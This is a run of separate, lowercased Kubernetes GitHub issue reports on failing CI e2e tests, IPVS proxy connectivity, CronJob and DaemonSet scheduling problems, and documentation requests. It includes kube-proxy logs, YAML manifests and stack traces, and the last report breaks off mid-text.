<!-- please only use this template for submitting reports about failing tests in kubernetes ci jobs -->\r \r   which jobs are failing  :\r ci-kubernetes-e2e-gci-gce-alpha-features\r \r   which test s  are failing  :\r    sig-api-machinery  customresourcepublishopenapi  feature:customresourcepublishopenapi \r works for multiple crds of same group but different versions\r    sig-api-machinery  customresourceconversionwebhook  feature:customresourcewebhookconversion \r should be able to convert a non homogeneous list of crs\r    sig-api-machinery  customresourcepublishopenapi  feature:customresourcepublishopenapi \r works for crd without validation schema \r    sig-api-machinery  customresourcepublishopenapi  feature:customresourcepublishopenapi \r works for multiple crds of same group and version but different kinds\r    sig-api-machinery  customresourcepublishopenapi  feature:customresourcepublishopenapi \r updates the published spec when one versin gets renamed\r    sig-api-machinery  customresourceconversionwebhook  feature:customresourcewebhookconversion \r should be able to convert from cr v1 to cr v2\r    sig-api-machinery  customresourcepublishopenapi  feature:customresourcepublishopenapi \r works for multiple crds of different groups\r    sig-api-machinery  customresourcepublishopenapi  feature:customresourcepublishopenapi \r removes definition from spec when one versin gets changed to not be served\r \r   since when has it been failing  :\r failing since 5/16  k/k diff  https://github.com/kubernetes/kubernetes/compare/dddb133c2...afd928b8b .\r there were two prs related to api machinery and tests that were merged during this period  77925 and  77927\r \r   testgrid link  :\r https://testgrid.k8s.io/sig-release-master-blocking gce-cos-master-alpha-features\r \r   reason for failure  :\r \r the first failure seems to be this:\r \r  sig-api-machinery  customresourcepublishopenapi  feature:customresourcepublishopenapi  works for multiple crds of same group but different versions\r    \r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/apimachinery/crd_publish_openapi.go:187 \r may 19 16:36:16.133: failed to wait for definition \ io.k8s.crd-publish-openapi-test-multi-ver.v3.e2e-test-crd-publish-openapi-9283-crd\  to be served with the right openapi schema: \r failed to wait for openapi spec validating condition: timed out waiting for the condition; lastmsg: spec.swaggerprops.definitions \ io.k8s.crd-publish-openapi-test-multi-ver.v3.e2e-test-crd-publish-openapi-9283-crd\   not found \r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/apimachinery/crd_publish_openapi.go:194\r    \r \r \r /cc @kubernetes/sig-api-machinery-test-failures \r /  test\r /milestone v1.15\r /cc @jimangel @smourapina @rarchk @alenkacz

per discussion with @nikhiljindal, in generators we use unversioned types to create objects. therefore we need to set default values manually. we should instead use versioned types.  _description updated: changed internal/external version to unversioned/versioned types_  cc @bgrant0607

https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/kubernetes-e2e-gci-gce-reboot-release-1.4/290/  failed:  k8s.io  reboot  disruptive   feature:reboot  each node by switching off the network interface and ensure they function upon switch on {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/reboot.go:110 sep 27 17:42:54.258: test failed; at least one node failed to reboot in the time given. /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/reboot.go:158      previous issues for this test:  33407

in current documentation about  configuring the probes  http://kubernetes.io/docs/api-reference/v1/definitions/ _v1_probe  it is unclear how the timeouts & periods are used and so what's the behavior of the probes when the timeout value is greater than the period. will another http request  in the case it is an http probe  be performed before the first timeout is reached or will it wait up to that timeout and then wait for the \ period\  value  in that case it could be called \ delay\  or \ throttle\  ?

they don't scale, for a variety of reasons:\r \r   e2e tests cannot be intelligently cached by bazel, so we end up running all of them for every pr regardless of whether they need to run. unit tests, on the other hand, only run when they need to.\r   e2e tests are slow. most of them take about a minute to run, and there are hundreds of them. even trivial tests take a long time. we run each test against several environments on each pr, and ever full run takes anywhere from forty minutes to an hour.\r   e2e tests tend to be flaky, especially when run in parallel with each other. because we run them against several environments, the pain is multiplied.\r \r here's an example:\r \r   k8s.io  job should scale a job down  starts a job with parallelism set to 2, waits for two pods to be active, sets parallelism to 1, and waits for only one pod to be active. the e2e test takes  between 1.5 and 2 minutes each run  https://k8s-testgrid.appspot.com/google-gce gce&include-filter-by-regex=job+should+scale+a+job+down&graph-metrics=test-duration-minutes . there is a unit test in  pkg/controller/job/jobcontroller_test.go  https://github.com/kubernetes/kubernetes/blob/master/pkg/controller/job/jobcontroller_test.go  that checks this case  it's the \ too many active pods\  case, parallelism set to 2, activepods set to 3, expecteddeletions set to 1 .\r \r would anyone object to deleting this e2e test, and why?\r \r @k8s-sig-testing-misc @kubernetes/sig-contributor-experience-proposals

https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gke-slow/3594\r \r    \r  k8s.io  dynamic provisioning  k8s.io  dynamicprovisioner alpha should create and delete alpha persistent volumes  slow   volume  5m13s\r go run hack/e2e.go -v -test --test_args='--ginkgo.focus=dynamic\\sprovisioning\\s\\ k8s\\.io\\ \\sdynamicprovisioner\\salpha\\sshould\\screate\\sand\\sdelete\\salpha\\spersistent\\svolumes\\s\\ slow\\ \\s\\ volume\\ $'\r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/volume_provisioning.go:242\r expected error:\r     < errors.errorstring | 0xc420c03c50>: {\r         s: \ persistentvolumeclaim pvc-mz6d4 not in phase bound within 5m0s\ ,\r     }\r     persistentvolumeclaim pvc-mz6d4 not in phase bound within 5m0s\r not to have occurred\r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/volume_provisioning.go:46from junit_02.xml\r filter through log files | view test history on testgrid\r \r  k8s.io  dynamic provisioning  k8s.io  dynamicprovisioner beta should create and delete persistent volumes  slow   volume  5m13s\r go run hack/e2e.go -v -test --test_args='--ginkgo.focus=dynamic\\sprovisioning\\s\\ k8s\\.io\\ \\sdynamicprovisioner\\sbeta\\sshould\\screate\\sand\\sdelete\\spersistent\\svolumes\\s\\ slow\\ \\s\\ volume\\ $'\r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/volume_provisioning.go:163\r expected error:\r     < errors.errorstring | 0xc42134da10>: {\r         s: \ persistentvolumeclaim pvc-ddw16 not in phase bound within 5m0s\ ,\r     }\r     persistentvolumeclaim pvc-ddw16 not in phase bound within 5m0s\r not to have occurred\r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/volume_provisioning.go:46from junit_06.xml\r

cc @kubernetes/sig-node\r pid cgroup https://www.kernel.org/doc/documentation/cgroup-v1/pids.txt allows limiting the number of processes per cgroup, and very critical to avoid fork bombs. docker seems to have added support since 1.11 release: docker/docker 18697\r \r i can think of two options to expose this in k8s api:\r 1. add it to pod.spec.container.resources.limit  as a container resource limit: pids-limit, or\r 2. expose it as a podsecuritypolicy securitycontext which gets applied to all pods at admission.

seen twice in a row in pull-kubernetes-cross:\r \r i0526 09:09:56.008  test/e2e_node/summary_test.go:138: constant 100000000000 overflows int\r \r this looks like  33761 but that was fixed long ago, and the file doesn't seem to have changed lately, so maybe this is a change to the cross compile environment?\r

failure cluster  b556b8c5336cd79275e8  https://go.k8s.io/triage b556b8c5336cd79275e8        error text:     error during ./hack/ginkgo-e2e.sh --ginkgo.focus=\\ serial\\ |\\ disruptive\\  --ginkgo.skip=\\ flaky\\ |\\ feature:.+\\  --minstartuppods=8 --report-dir=/workspace/_artifacts: exit status 1           failure cluster statistics: 1 tests failed,    39 jobs failed,    128 builds failed. failure stats cover 1 day time range '31 jul 2017 06:39 utc' to '1 aug 2017 06:39 utc'.       top failed tests by jobs failed:  | test name | jobs failed | | --- | --- | | test | 39 |        top failed jobs by builds failed:  | job name | builds failed | latest failure | | --- | --- | --- | | ci-kubernetes-e2e-gci-gke-staging | 11 |  1 aug 2017 06:28 utc  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gke-staging/2883  | | ci-kubernetes-e2e-gci-gke-prod | 10 |  1 aug 2017 06:12 utc  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gke-prod/2870  | | ci-kubernetes-e2e-gci-gke-serial-release-1-7 | 7 |  1 aug 2017 05:33 utc  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gke-serial-release-1-7/300  |   current status  https://go.k8s.io/triage b556b8c5336cd79275e8

kubectl create command works correctly,but kubectl logs and kubectl exec not :\r _error from server  forbidden : forbidden  user=system:anonymous, verb=get, resource=nodes,subresource=proxy _\r \r kubectl version\r _client version: version.info{major:\ 1\ , minor:\ 7\ , gitversion:\ v1.7.5\ , gitcommit:\ 17d7182a7ccbb167074be7a87f0a68bd00d58d97\ , gittreestate:\ clean\ , builddate:\ 2017-08-31t09:14:02z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 6\ , gitversion:\ v1.6.5\ , gitcommit:\ 490c6f13df1cb6612e0993c4c14f2ff90f8cdbf3\ , gittreestate:\ clean\ , builddate:\ 2017-06-14t20:03:38z\ , goversion:\ go1.7.6\ , compiler:\ gc\ , platform:\ linux/amd64\ }_

is everything on? everything off? some special things on?\r \r update the flag's documentation.

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r  \r \r   what happened  :\r add --cloud-provider=openstack --cloud-config=/etc/kubernetes/kube-openstack-conf \r   what you expected to happen  :\r the kube-controller-manager service and the kubelet service not running\r \r jan 23 16:07:03 node-2 kube-controller-manager: f0123 16:07:03.221788   21103 controllermanager.go:181  error running controllers: cloud provider could not be initialized: could not init cloud provider \ openstack\ : post http://10.10.106.33:8089/v2.0/tokens: dial tcp 10.10.106.33:8089: getsockopt: no route to host\r \r  kube-controller-manager.txt  https://github.com/kubernetes/kubernetes/files/1658338/kube-controller-manager.txt \r ! image  https://user-images.githubusercontent.com/25783555/35312341-e97c27f6-00f5-11e8-8beb-7172779fd962.png \r the kubelet log is:\r ! image  https://user-images.githubusercontent.com/25783555/35312374-0e163f8e-00f6-11e8-8e77-9206274b3cdd.png \r \r   how to reproduce it  as minimally and precisely as possible   :\r all service running\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :1.6.9\r - cloud provider or hardware configuration:openstack\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

what happened  :\r i got a fully ipv6-only v1.8.x cluster working at glance with calico 2.x.\r \r i try to deploy a new one on k8s v1.9.x and calico 3.x.\r \r when i schedule a ipv6-only pod, it got created nicely, got an ipv6 on his own network stack but get delete by kubelet few minutes after the creation because : \r \r    \r  failed to get ip addresses for \\\ eth0\\\ : <nil>\ \r    \r \r   what you expected to happen  :\r \r get my pod running and the ipv6 displayed on  kubectl get pod -o wide \r \r   how to reproduce it  as minimally and precisely as possible   :\r \r deploy an ipv6 cluster, create a pod, wait.\r \r \r   environment  :\r - kubernetes version  use  kubectl version  : v1.9.2\r - cloud provider or hardware configuration: kvm vms\r - os  e.g. from /etc/os-release : debian 9.2\r - kernel  e.g.  uname -a  :  linux  4.9.0-5-amd64\r - install tools: via saltstack, own recipe.  \r - others:  calico v3.0 / cni v0.6.0 / calico cni 2.0\r \r 

in release 1.9.1:\r \r    \r goroutine 2503314  running :\r k8s.io/kubernetes/vendor/golang.org/x/net/http2.strslicecontains 0x0, 0x2, 0x2, 0x3b633e3, 0x2, 0xa6d667 \r         /workspace/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/golang.org/x/net/http2/transport.go:2096 +0x3b\r k8s.io/kubernetes/vendor/golang.org/x/net/http2.configuretransport 0xc42e8c2e10, 0x0, 0x0, 0xc42e8c2e00 \r         /workspace/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/golang.org/x/net/http2/configure_transport.go:28 +0x13a\r k8s.io/kubernetes/vendor/golang.org/x/net/http2.configuretransport 0xc42e8c2e10, 0xd, 0x0 \r         /workspace/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/golang.org/x/net/http2/transport.go:126 +0x2b\r k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/net.settransportdefaults 0xc42e8c2e10, 0xc42e8c2e10 \r         /workspace/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/net/http.go:107 +0xb2\r k8s.io/kubernetes/pkg/probe/http.newwithtlsconfig 0xc42e8aa780, 0xc428952610, 0xc428952618 \r         /workspace/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/probe/http/http.go:41 +0x5d\r k8s.io/kubernetes/pkg/registry/core/componentstatus.  server .doservercheck.func1  \r         /workspace/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/registry/core/componentstatus/validator.go:71 +0x3c\r sync.  once .do 0xc4312e75b0, 0xc4289526b8 \r         /usr/local/go/src/sync/once.go:44 +0xbe\r k8s.io/kubernetes/pkg/registry/core/componentstatus.  server .doservercheck 0xc4312e7560, 0x80000, 0xc42001b300, 0xc42cfa1e58, 0x56d590, 0xc42e03d100, 0xc429b1c000 \r         /workspace/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/registry/core/componentstatus/validator.go:67 +0x61\r k8s.io/kubernetes/pkg/registry/core/componentstatus.  rest .getcomponentstatus 0xc4201075e0, 0xc423aab428, 0x6, 0xc4312e7560, 0x0 \r         /workspace/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/registry/core/componentstatus/rest.go:98 +0x40\r k8s.io/kubernetes/pkg/registry/core/componentstatus.  rest .list.func1 0xc423aab430, 0xc4201075e0, 0xc4312e75c0, 0xc423aab428, 0x6, 0xc4312e7560 \r         /workspace/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/registry/core/componentstatus/rest.go:62 +0x73\r created by k8s.io/kubernetes/pkg/registry/core/componentstatus.  rest .list\r         /workspace/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/registry/core/componentstatus/rest.go:60 +0x15f\r    \r \r @kubernetes/sig-api-machinery-bugs

 \r   what happened  :\r ipvs needs to be documented more.  specifically, the existing documentation needs to be updated to properly describe how to bring up a cluster with ipvs in the kubeadm, local and gce case. furthermore, there needs to be another piece of documentation that describes the main differences between iptables and ipvs and also dives into implementation differences between the two  ex. ipset . \r \r it would also be really nice if there could be some screenshots detailing the difference between iptables and ipvs rules  i.e bring up a cluster, create a service, dump iptables and ipvs rules, compare \r \r all this documentation should be added to pkg/proxy/ipvs\r \r /assign @m1093782566 \r /area ipvs\r 

\r   is this a bug report or feature request?  :\r  \r   what happened  :\r \r calls to  util/mount  on unsupported platforms do not report any error and potentially misbehave.\r \r   what you expected to happen  :\r \r i would expect an error to be reported, that can be consumed by the caller.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r  make test  for  volume/rbd  and  volume/fc  were failing on darwin, and no error was being reported. see: https://github.com/kubernetes/kubernetes/issues/61569 & https://github.com/kubernetes/kubernetes/issues/61571\r \r   environment  :\r - os  e.g. from /etc/os-release : i have been testing on osx/darwin, which is not a supported platform.\r

is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line:\r >\r  \r   what happened  :\r we are attempting to transition our clusters from the iptables to the ipvs proxier.  \r \r under most conditions, this works well. however, for the specific case of:\r when moving node \ a\  over to ipvs, a fixed subset of other \ client\  nodes can no longer reach pods on node a  directly via pod ip, not via service .\r whether or not the \ client\  node is ipvs or iptables doesn't seem to matter. switching node a back to iptables solves the problem.\r the only difference we can find between \ client\  nodes that lose the ability to connect to node a pods and those that continue to work, is that the \ client\  node has a pod with a host port and a service with an externalip. this may not have anything to do with the issue, but we've been unable to find any other differences.\r \r   what you expected to happen  :\r no interruption in node  or pod  -> pod connectivity.\r \r   how to reproduce it  as minimally and precisely as possible   :\r this appears to be related to how iptables rules  under certain conditions  on client nodes interacts with ipvs proxiers on remote nodes.\r \r   anything else we need to know?  :\r sample kube-proxy configuration:\r    \r apiversion: v1\r kind: pod\r metadata:\r   name: kube-proxy\r   namespace: kube-system\r spec:\r   volumes:\r   - name: ssl-certs-kubernetes\r     hostpath:\r       path: /etc/kubernetes/ssl\r   - name: ssl-certs-host\r     hostpath:\r       path: /etc/ssl/certs\r   - name: kubeconfig\r     hostpath:\r       path: /etc/kubernetes/kubeconfig-pod.yaml\r   - name: modules\r     hostpath:\r       path: /lib/modules\r   containers:\r   - name: kube-proxy\r     image: gcr.io/google_containers/kube-proxy:v1.11.1\r     command:\r     - /usr/local/bin/kube-proxy\r     - --master=https://10.0.1.17:443\r     - --kubeconfig=/etc/kubernetes/kubeconfig.yaml\r     - --proxy-mode=ipvs\r     - --hostname-override=10.0.1.82\r     - --cluster-cidr=10.240.0.0/12\r     - --v=5\r     volumemounts:\r     - name: ssl-certs-kubernetes\r       readonly: true\r       mountpath: /etc/kubernetes/ssl\r     - name: ssl-certs-host\r       readonly: true\r       mountpath: /etc/ssl/certs\r     - name: kubeconfig\r       readonly: true\r       mountpath: /etc/kubernetes/kubeconfig.yaml\r     - name: modules\r       readonly: true\r       mountpath: /lib/modules\r     securitycontext:\r       privileged: true\r   hostnetwork: true\r    \r we've tried various combinations of options  no hostname-override, cluster-cidr, etc  without any luck. the iptables configuration is the same, without the proxy-mode flag, and similar combinations of hostname-override and cluster-cidr were explored.\r \r    \r w0723 17:14:34.766268       1 server.go:195  warning: all flags other than --config, --write-config-to, and --cleanup are deprecated. please begin using a config file asap.\r i0723 17:14:34.769562       1 feature_gate.go:230  feature gates: &{map  }\r i0723 17:14:34.828036       1 iptables.go:603  couldn't get iptables-restore version; assuming it doesn't support --wait\r i0723 17:14:34.835212       1 iptables.go:200  could not connect to d-bus system bus: dial unix /var/run/dbus/system_bus_socket: connect: no such file or directory\r i0723 17:14:34.940248       1 server_others.go:183  using ipvs proxier.\r i0723 17:14:34.998197       1 proxier.go:346  nodeip: 10.0.2.61, isipv6: false\r w0723 17:14:34.998321       1 proxier.go:355  ipvs scheduler not specified, use rr by default\r i0723 17:14:34.998379       1 proxier.go:403  minsyncperiod: 0s, syncperiod: 30s, burstsyncs: 2\r i0723 17:14:34.998475       1 server_others.go:210  tearing down inactive rules.\r i0723 17:14:34.998517       1 iptables.go:425  running iptables -c  output -t nat -m comment --comment handle clusterips; note: this must be before the nodeport rules -j kube-portals-host \r i0723 17:14:35.003635       1 iptables.go:425  running iptables -c  prerouting -t nat -m comment --comment handle clusterips; note: this must be before the nodeport rules -j kube-portals-container \r i0723 17:14:35.004737       1 iptables.go:425  running iptables -c  output -t nat -m addrtype --dst-type local -m comment --comment handle service nodeports; note: this must be the last rule in the chain -j kube-nodeport-host \r i0723 17:14:35.006570       1 iptables.go:425  running iptables -c  prerouting -t nat -m addrtype --dst-type local -m comment --comment handle service nodeports; note: this must be the last rule in the chain -j kube-nodeport-container \r i0723 17:14:35.007650       1 iptables.go:425  running iptables -c  input -t filter -m comment --comment ensure that non-local nodeport traffic can flow -j kube-nodeport-non-local \r i0723 17:14:35.008645       1 iptables.go:425  running iptables -f  kube-portals-container -t nat \r i0723 17:14:35.009554       1 iptables.go:425  running iptables -f  kube-portals-host -t nat \r i0723 17:14:35.010430       1 iptables.go:425  running iptables -f  kube-nodeport-host -t nat \r i0723 17:14:35.011321       1 iptables.go:425  running iptables -f  kube-nodeport-container -t nat \r i0723 17:14:35.012224       1 iptables.go:425  running iptables -f  kube-nodeport-non-local -t filter \r i0723 17:14:35.013129       1 iptables.go:425  running iptables -c  input -t filter -m conntrack --ctstate new -m comment --comment kubernetes externally-visible service portals -j kube-external-services \r i0723 17:14:35.015808       1 iptables.go:425  running iptables -c  output -t filter -m conntrack --ctstate new -m comment --comment kubernetes service portals -j kube-services \r i0723 17:14:35.016898       1 iptables.go:425  running iptables -c  output -t nat -m comment --comment kubernetes service portals -j kube-services \r i0723 17:14:35.017887       1 iptables.go:425  running iptables -c  prerouting -t nat -m comment --comment kubernetes service portals -j kube-services \r i0723 17:14:35.018896       1 iptables.go:425  running iptables -c  postrouting -t nat -m comment --comment kubernetes postrouting rules -j kube-postrouting \r i0723 17:14:35.020534       1 iptables.go:425  running iptables -d  postrouting -t nat -m comment --comment kubernetes postrouting rules -j kube-postrouting \r i0723 17:14:35.021587       1 iptables.go:425  running iptables -c  forward -t filter -m comment --comment kubernetes forwarding rules -j kube-forward \r i0723 17:14:35.022659       1 iptables.go:425  running iptables -c  input -t filter -m comment --comment kubernetes service portals -j kube-services \r i0723 17:14:35.023612       1 iptables.go:425  running iptables -c  output -t filter -m comment --comment kubernetes service portals -j kube-services \r i0723 17:14:35.024563       1 iptables.go:323  running iptables-save  -t nat \r i0723 17:14:35.028040       1 iptables.go:383  running iptables-restore  -t nat --noflush --counters \r i0723 17:14:35.047635       1 iptables.go:323  running iptables-save  -t filter \r i0723 17:14:35.048939       1 iptables.go:383  running iptables-restore  -t filter --noflush --counters \r i0723 17:14:35.049954       1 server.go:448  version: v1.11.1\r i0723 17:14:35.050009       1 oom_linux.go:65  attempting to set \ /proc/self/oom_score_adj\  to \ -999\ \r i0723 17:14:35.057410       1 server.go:474  running in resource-only container \ /kube-proxy\ \r i0723 17:14:35.062137       1 healthcheck.go:309  starting goroutine for healthz on 0.0.0.0:10256\r i0723 17:14:35.062430       1 healthz.go:79  no default health checks specified. installing the ping handler.\r i0723 17:14:35.062464       1 healthz.go:83  installing healthz checkers:\ ping\ \r i0723 17:14:35.063144       1 server.go:595  getconntrackmax: using conntrack-min\r i0723 17:14:35.063195       1 conntrack.go:98  set sysctl 'net/netfilter/nf_conntrack_max' to 131072\r i0723 17:14:35.063292       1 conntrack.go:52  setting nf_conntrack_max to 131072\r i0723 17:14:35.064525       1 mount_linux.go:199  detected os without systemd\r i0723 17:14:35.064829       1 conntrack.go:83  setting conntrack hashsize to 32768\r i0723 17:14:35.065051       1 conntrack.go:98  set sysctl 'net/netfilter/nf_conntrack_tcp_timeout_established' to 86400\r i0723 17:14:35.065124       1 conntrack.go:98  set sysctl 'net/netfilter/nf_conntrack_tcp_timeout_close_wait' to 3600\r i0723 17:14:35.067382       1 bounded_frequency_runner.go:170  sync-runner loop running\r i0723 17:14:35.077587       1 config.go:202  starting service config controller\r i0723 17:14:35.077637       1 controller_utils.go:1025  waiting for caches to sync for service config controller\r i0723 17:14:35.077682       1 config.go:102  starting endpoints config controller\r i0723 17:14:35.077736       1 controller_utils.go:1025  waiting for caches to sync for endpoints config controller\r i0723 17:14:35.080115       1 reflector.go:202  starting reflector  core.endpoints  15m0s  from k8s.io/kubernetes/pkg/client/informers/informers_generated/internalversion/factory.go:129\r i0723 17:14:35.080177       1 reflector.go:240  listing and watching  core.endpoints from k8s.io/kubernetes/pkg/client/informers/informers_generated/internalversion/factory.go:129\r i0723 17:14:35.085991       1 reflector.go:202  starting reflector  core.service  15m0s  from k8s.io/kubernetes/pkg/client/informers/informers_generated/internalversion/factory.go:129\r i0723 17:14:35.086046       1 reflector.go:240  listing and watching  core.service from k8s.io/kubernetes/pkg/client/informers/informers_generated/internalversion/factory.go:129\r    \r \r the \ client\  nodes that lose connectivity to remote ipvs pods also are in the kube-external-ip ip set.\r    \r i0723 17:14:36.513189       1 ipset.go:148  successfully add entry: 10.0.1.15,tcp:8081 to ip set: kube-external-ip\r i0723 17:14:36.514227       1 ipset.go:148  successfully add entry: 10.0.1.82,tcp:8081 to ip set: kube-external-ip\r    \r \r \r   environment  :\r - kubernetes version  use  kubectl version  :\r client version: version.info{major:\ 1\ , minor:\ 11\ , gitversion:\ v1.11.0\ , gitcommit:\ 91e7b4fd31fcd3d5f436da26c980becec37ceefe\ , gittreestate:\ clean\ , builddate:\ 2018-06-27t20:17:28z\ , goversion:\ go1.10.2\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 11\ , gitversion:\ v1.11.1\ , gitcommit:\ b1b29978270dc22fecc592ac55d903350454310a\ , gittreestate:\ clean\ , builddate:\ 2018-07-17t18:43:26z\ , goversion:\ go1.10.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r - cloud provider or hardware configuration: aws\r - os  e.g. from /etc/os-release : \r name=\ container linux by coreos\ \r id=coreos\r version=1745.7.0\r version_id=1745.7.0\r build_id=2018-06-14-0909\r pretty_name=\ container linux by coreos 1745.7.0  rhyolite \ \r ansi_color=\ 38;5;75\ \r home_url=\ https://coreos.com/\ \r bug_report_url=\ https://issues.coreos.com\ \r coreos_board=\ amd64-usr\ \r - kernel  e.g.  uname -a  :\r linux ip-10-0-1-17 4.14.48-coreos-r2  1 smp thu jun 14 08:23:03 utc 2018 x86_64 intel r  xeon r  cpu e5-2686 v4 @ 2.30ghz genuineintel gnu/linux\r - install tools: scripts\r - others:\r iptables: v1.4.21\r flannel: quay.io/coreos/flannel:v0.10.0\r

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r \r >  \r \r \r   what happened  :\r deamonset missschduled happens after cluster autoscaling.\r \r   how to reproduce it  as minimally and precisely as possible   :\r setup a cluster using kops. enable cluster autoscaler. when the autoscaler scales up the node count, describe the daemonset. \r \r   anything else we need to know?  :\r \r after scaling up happened i have 9 nodes running. and the daemonset pod is running fine on all 9 nodes. when i describe the daemonset, the desired and current number of nodes remain 8. because of this number of nodes missscheduled is 1. after some time the desired and current value changes to 9.\r \r ! daemonsetmissscheduled  https://user-images.githubusercontent.com/6989806/44385095-01b41500-a53c-11e8-9a12-cf81d4f18aa4.png \r \r \r   environment  :\r - kubernetes version  use  kubectl version  :\r 1.9.6\r - cloud provider or hardware configuration:\r aws\r - os  e.g. from /etc/os-release :\r debian gnu/linux 8  jessie \r - kernel  e.g.  uname -a  :\r linux ip-10-0-72-200 4.4.121-k8s  1 smp sun mar 11 19:39:47 utc 2018 x86_64 gnu/linux\r - install tools:\r kops\r - others:\r

is this a bug report or feature request?  :\r \r  \r   what happened  :\r i created a cronjob. it creates a job, but no pod is created to actually run the job.\r \r   what you expected to happen  :\r a pod is created every hour as scheduled.\r \r   how to reproduce it  as minimally and precisely as possible   :\r i pushed the descheduler v0.7.0 image in my azure container registry.\r \r i created a configmap for the descheduler policy : \r \r    \r apiversion: v1\r kind: configmap\r metadata:\r   name: descheduler\r   namespace: kube-system\r data:\r   policy.yaml: |-  \r     apiversion: descheduler/v1alpha1\r     kind: deschedulerpolicy\r     strategies:\r       removeduplicates:\r          enabled: false\r       lownodeutilization:\r          enabled: true\r          params:\r            noderesourceutilizationthresholds:\r              thresholds:\r                cpu: 20\r                memory: 20\r                pods: 20\r              targetthresholds:\r                cpu: 40\r                memory: 40\r                pods: 40\r       removepodsviolatinginterpodantiaffinity:\r         enabled: true\r       removepodsviolatingnodeaffinity:\r         enabled: true\r         params:\r           nodeaffinitytype:\r           - requiredduringschedulingignoredduringexecution\r    \r \r and created the cronjob : \r \r    \r apiversion: batch/v1beta1\r kind: cronjob\r metadata:\r   name: descheduler\r   namespace: kube-system\r spec:\r   schedule: \ 5        \ \r   jobtemplate:\r     metadata:\r       name: descheduler\r       annotations:\r         scheduler.alpha.kubernetes.io/critical-pod: \ true\ \r     spec:\r       template:\r         spec:\r           containers:\r           - name: descheduler\r             image: mycr.azurecr.io/descheduler:v0.7.0\r             volumemounts:\r             - mountpath: /policy-dir\r               name: policy-volume\r             command:\r             - /bin/descheduler\r             - --v=4\r             - --max-pods-to-evict-per-node=10\r             - --policy-config-file=/policy-dir/policy.yaml\r           restartpolicy: \ onfailure\ \r           volumes:\r           - name: policy-volume\r             configmap:\r               name: descheduler\r           imagepullsecrets:\r           - name: azure-registry\r    \r \r the cronjob is created and active, a job is created : \r \r    \r name          schedule    suspend   active    last schedule   age\r descheduler   5           false     1         13m             1h\r name                     desired   successful   age\r descheduler-1536242700   1         0            13m\r    \r \r describe of the cronjob says :  normal  successfulcreate  2m    cronjob-controller  created job descheduler-1536242700 \r \r but no pod is created to actually run the job : \r \r    \r k get pods --all-namespaces -a | grep descheduler\r > returns no results\r    \r \r   anything else we need to know?  :\r it works when i create directly the job : \r \r    \r apiversion: batch/v1\r kind: job\r metadata:\r   name: descheduler-job\r   namespace: kube-system\r spec:\r   parallelism: 1\r   completions: 1\r   template:\r     metadata:\r       name: descheduler\r       annotations:\r         scheduler.alpha.kubernetes.io/critical-pod: \ true\ \r     spec:\r       containers:\r       - name: descheduler\r         image: mycr.azurecr.io/descheduler:v0.7.0\r         volumemounts:\r         - mountpath: /policy-dir\r           name: policy-volume\r         command:\r         - /bin/descheduler\r         - --v=4\r         - --max-pods-to-evict-per-node=10\r         - --policy-config-file=/policy-dir/policy.yaml\r       restartpolicy: \ onfailure\ \r       volumes:\r       - name: policy-volume\r         configmap:\r           name: descheduler\r       imagepullsecrets:\r       - name: azure-registry\r    \r \r    \r k get pods --all-namespaces -a | grep descheduler\r descheduler-job-2fmzr                   0/1       completed   0          6s\r    \r \r is there a way to see some logs of the scheduling of the pod creation ?\r \r   environment  :\r - kubernetes version  use  kubectl version  : \r client version: version.info{major:\ 1\ , minor:\ 11\ , gitversion:\ v1.11.2\ , gitcommit:\ bb9ffb1654d4a729bb4cec18ff088eacc153c239\ , gittreestate:\ clean\ ,\r builddate:\ 2018-08-07t23:17:28z\ , goversion:\ go1.10.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , 